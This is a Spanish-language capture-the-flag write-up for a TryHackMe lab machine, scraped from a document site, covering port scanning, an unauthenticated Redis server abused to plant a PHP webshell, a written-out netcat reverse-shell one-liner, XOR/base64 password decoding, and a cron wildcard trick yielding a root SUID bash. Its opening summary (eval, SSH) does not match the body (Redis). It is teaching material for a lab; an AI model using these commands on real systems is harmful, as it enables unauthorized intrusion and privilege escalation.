0% encontró este documento útil (0 votos)
20 vistas16 páginas

Devie

El documento describe cómo acceder a un sistema remoto para obtener dos banderas a través de varios pasos: 1) Establecer una conexión VPN, 2) Escanear puertos para encontrar servicios como un servidor web y Redis, 3) Generar una webshell en el servidor web, 4) Obtener una shell de usuario local, 5) Encontrar un script que decodifica contraseñas y escalar privilegios, 6) Encontrar un script cron que copia archivos como root y reemplazar bash para obtener privilegios de root.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
20 vistas16 páginas

Devie

El documento describe cómo acceder a un sistema remoto para obtener dos banderas a través de varios pasos: 1) Establecer una conexión VPN, 2) Escanear puertos para encontrar servicios como un servidor web y Redis, 3) Generar una webshell en el servidor web, 4) Obtener una shell de usuario local, 5) Encontrar un script que decodifica contraseñas y escalar privilegios, 6) Encontrar un script cron que copia archivos como root y reemplazar bash para obtener privilegios de root.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 16

Debemos encontrar dos banderas.

Donde a partir de un escaneo de puertos pude


saber que hay un servicio desconocido, SSH. Además, gracias a una respuesta HTTP
emitida por el servidor web pude saber que hay una aplicación web alojado en el
servidor web. Luego, analizando el código fuente de la aplicación web, que constaba
de tres formularios, pude notar que utilizaba la función eval sin ninguna verificación en
los datos que se le pasaba. Por lo tanto, inserte código malicioso en uno de los
campos del formulario de la aplicación web para generar una reverse Shell a traves de
la función eval. Luego, para la escalada privilegio horizontal, logre decodificar la
contraseña de un usuario local codificada con base64 y XOR. Luego, para la escalada
privilegio vertical, logre crear una copia del archivo binario Bash con el bit SUID
habilitado aprovechando el sudo del comando copy y wilcard en un script en Bash
ejecutado de manera periódica y automatizada por root.
En este caso debemos acceder al sistema destino y obtener las
banderas. Para ello empezaremos utilizando el comando openvpn
con el fin de establecer una conexión VPN con la red virtual
dónde está la máquina Res. Para ello utilizaremos el archivo
de configuración, que lo podemos descargar en la
plataforma de Tryhackme, que puede incluir información
como la dirección del servidor VPN, los certificados y
claves de seguridad, la configuración de encriptación, etc.

Luego de que se establece la conexión VPN se crea una interfaz


virtual de red en nuestra máquina. Donde se enruta todo el tráfico
de red a través de esa interfaz.
Además, la plataforma de Tryhackme nos muestra la dirección IP de la máquina Res.

Luego pasaremos a la fase de Escaneo y Enumeración con el fin de


poder escanear los puertos del nodo. Además, obtendremos los
servicios que se han levantado en los puertos abiertos, las
versiones de los servicios, y el sistema operativo de la máquina Res.
Para ello utilizaremos `Nmap`. Donde le pasaremos los siguientes
parámetros:
- El parámetro -sC o –script=”default” para utilizar todos los scripts
de la categoría default con el fin de realizar un escaneo y detección
de los puertos de manera avanzada.
- El parámetros -sV con el fin de conocer las versiones de los
servicios levantados en los puertos abiertos.
- El parámetro -n para evitar la resolución DNS, y el parámetro –
max-rate para indicarle el número máximo de paquetes por segundo
que va a utilizar Nmap para el escaneo con el fin de evitar
sobrecargar la red con el tráfico generado por la herramienta.
- El parámetro -Pn para evitar que Nmap, que realice ningún tipo de
sondeo o ping hacia el sistema destino con el fin de determinar si el
host está vivo o activo, y realice el escaneo de puertos
directamente.
- El parámetro -p- para realizar un escaneo de los 65535 puertos del
nodo y el parámetro –open con el fin de que nos muestre
información solo de los puertos abiertos.

Los resultados que obtuvimos del escaneo vienen a ser:


 Un programa servidor Web en el puerto 80. Además, gracias a un
script de Nmap, se puede observar la etiqueta title de la pagina web
que viene por defecto al momento de instalar el programa servidor
Web.
 Un servidor Redis ejecutado en el puerto 6379.
Ahora intentaremos acceder al servidor Redis, que permite almacenar
datos en memoria por lo que permite recuperar los datos rápidamente.
Podemos observar que no se ha configurado un mecanismo de
autenticación para acceder al servidor Redis, es decir, se ha mantenido su
configuración por defecto. Además, con el comando info Server, podremos
obtener información sobre servidor Redis. Por ejemplo, el archivo
ejecutable de Redis y su archivo de configuración que se esta utilizando.
Además, podemos observar que ambos archivos están almacenados en el
directorio home del usuario local vianka.
Ahora supondremos que la ruta del directorio raíz del servidor web es
/var/www/html con el fin de generar una webshell PHP donde a traves de
un parámetro GET vamos a poder ejecutar el comando rm /tmp/f;mkfifo
/tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.8.123.194 1800 >/tmp/f en el
sistema destino para que nos genere una reverse Shell. Además, el
comando, que ingresamos al parámetro GET, debe estar codificado en
URL.
Podemos observar que logramos acceder al sistema destino siendo el
usuario local www-data ya que el servidor web se está ejecutando con su
cuenta.
Ahora convertiremos nuestra reverse Shell en una Shell más estable e
interactiva con el fin evitar de que se cierre con errores simples. Luego,
buscaremos vectores de escalada privilegio de manera manual en el
sistema de archivos del sistema destino.
Podemos observar uno de los archivos binarios ejecutables con el bit SUID
habilitado es xxd.

Podemos observar que el usuario bruce puede ejecutar un script en


Python cuyo propietario es el usuario local Gordon. Además, podemos
observar que no tenemos ningún permiso habilitado en el script. Además,
en un archivo de texto llamado note, encontrado en el directorio home del
usuario bruce, encontramos detalles sobre lo que hace el script en Python.
Donde primero realiza una operación XOR con el valor solicitado por el
script y con una llave o clave, que desconocemos. Luego, se realiza una
codificación base64 con el resultado de la operación XOR. Además, en el
archivo note encontramos una cadena de caracteres que posiblemente
viene a ser la contraseña codificación con la operación XOR y base64.
Ahora que sabemos que hace el script en Python, debemos encontrar la
clave para decodificar la contraseña del usuario local Gordon. Para ello
utilizaremos varias operaciones XOR con diferentes strings, codificados en
base64 y XOR, y sus respectivos strings sin codificar con el fin determinar
el valor de la clave o llave.
Podemos observar que la clave viene a ser supersecretkeyxorxor.
Ahora decodificaremos el string brindando en el archivo note y que
posiblemente puede ser su contraseña del usuario local Gordon.
De esta manera realizamos una escalada de privilegios aprovechando este
script en Python.
Ahora realizaremos una enumeración manual sobre el sistema de archivos
del sistema destino con el fin de buscar vectores de escalada privilegio en
el sistema de archivos de este nuevo usuario local.
Podemos observar que en el directorio home del usuario gordon, hay dos
subdirectorios llamados backups y reports que constan de tres archivos
con los mismos nombres y contenidos. La primera impresión que tenemos
es que los archivos del subdirectorio backups se tienden a renovar ya que
su fecha de modificación varía cada cierto tiempo. Además, aquella
modificación se está realizando con los privilegios del usuario root. Por lo
tanto, esto nos da a suponer que el usuario root puede haber configurado
una tarea cron. Para verificar esta suposición, utilizaremos pspy64 con el
fin de numerar los procesos que se están ejecutando en tiempo real en el
sistema destino.
Podemos observar que la tarea cron del usuario root viene a ser un script
Bash llamado backup que va a copiar de manera periódica y automatizada
todo el contenido del subdirectorio reports en el subdirectorio backup.
Ahora aprovecharemos que los archivos, que se copian el subdirectorio
backup, son de propiedad del usuario root para crear una copia del archivo
binario ejecutable bash en el subdirectorio reports con el bit SUID
habilitado. Además, crearemos otro archivo en el subdirectorio reports
con el nombre –preserve=mode con el fin de el bit SUID se conserve
cuando se copia el script en Bash en el subdirectorio backups.
Podemos observar que logramos crear un archivo binario ejecutable bash
con el bit SUID habilitado siendo el propietario root. Por lo tanto, ahora
podemos ejecutar este archivo binario con los privilegios elevados para
obtener una Shell bash con los privilegios de root.

De esta manera logramos realizar una escalada privilegio vertical.


Ahora buscaremos las dos banderas.

También podría gustarte

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy